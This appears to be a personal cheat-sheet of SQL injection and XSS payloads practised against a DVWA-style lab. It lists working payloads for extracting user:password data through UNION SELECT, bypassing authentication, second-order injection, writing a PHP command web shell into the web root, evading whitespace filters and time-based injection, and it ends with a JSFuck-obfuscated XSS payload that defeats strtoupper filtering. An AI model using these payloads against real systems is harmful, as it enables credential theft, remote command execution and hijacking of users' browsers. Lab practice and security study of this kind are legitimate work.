SQL Injection & XSS Playground

This is my playground for SQL injection and XSS

Classic SQL Injection

Union Select Data Extraction

mysql> select * from users where user_id = 1 order by 7;              
ERROR 1054 (42S22): Unknown column '7' in 'order clause'
mysql> select * from users where user_id = 1 order by 6;
mysql> select * from users where user_id = 1 union select 1,2,3,4,5,6;
select * from users where user_id = 1 union all select 1,(select group_concat(user,0x3a,password) from users),3,4,5,6;

Authentication Bypass

mysql> select * from users where user='admin' and password='blah' or 1 # 5f4dcc3b5aa765d61d8327deb882cf99' 

Second Order Injection

mysql> insert into accounts (username, password, mysignature) values ('admin','mynewpass',(select user())) # 'mynewsignature');

Dropping a Backdoor

mysql> select * from users where user_id = 1 union select all 1,2,3,4,"<?php system($_REQUEST['c']);?>",6 into outfile "/var/www/dvwa/shell.php" #;

Conditional Select

mysql> select * from users where user = (select concat((select if(1>0,'adm','b')),"in"));

Bypassing Whitespace Filtering

mysql> select * from users where user_id = 1/**/union/**/select/**/all/**/1,2,3,4,5,6;

Time Based SQL Injection

Sleep Invokation

mysql> select * from users where user_id = 1 or (select sleep(1)+1);
select * from users where user_id = 1 union select 1,2,3,4,5,sleep(1);


Strtoupper Bypass

Say we have the following PHP code that takes name as a user supplied parameter:

        echo '<form action="">';
        echo "First name: <input type='text' name='name' value='".$sanitized."'><br>";
        echo "<input type='submit' value='Submit form'></form>";
        echo "</HTML></body>";

Line 3 is vulnerable to XSS, and we can break out of the input with a single quote ':


For example, if we set the name parameter to the value of a', we get:

Note that the a got converted to a capital A and this is due to the strtoupper function being called on our input. What this means is that any ascii letters in our JavaScript payload will get converted to uppercase and become invalid and will not execute (i.ealert() != ALERT()).

To bypass this constraint, we can encode our payload using JsFuck, which eliminates all the letters from the payload and leaves us with this:

A' onmouseover='[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()'
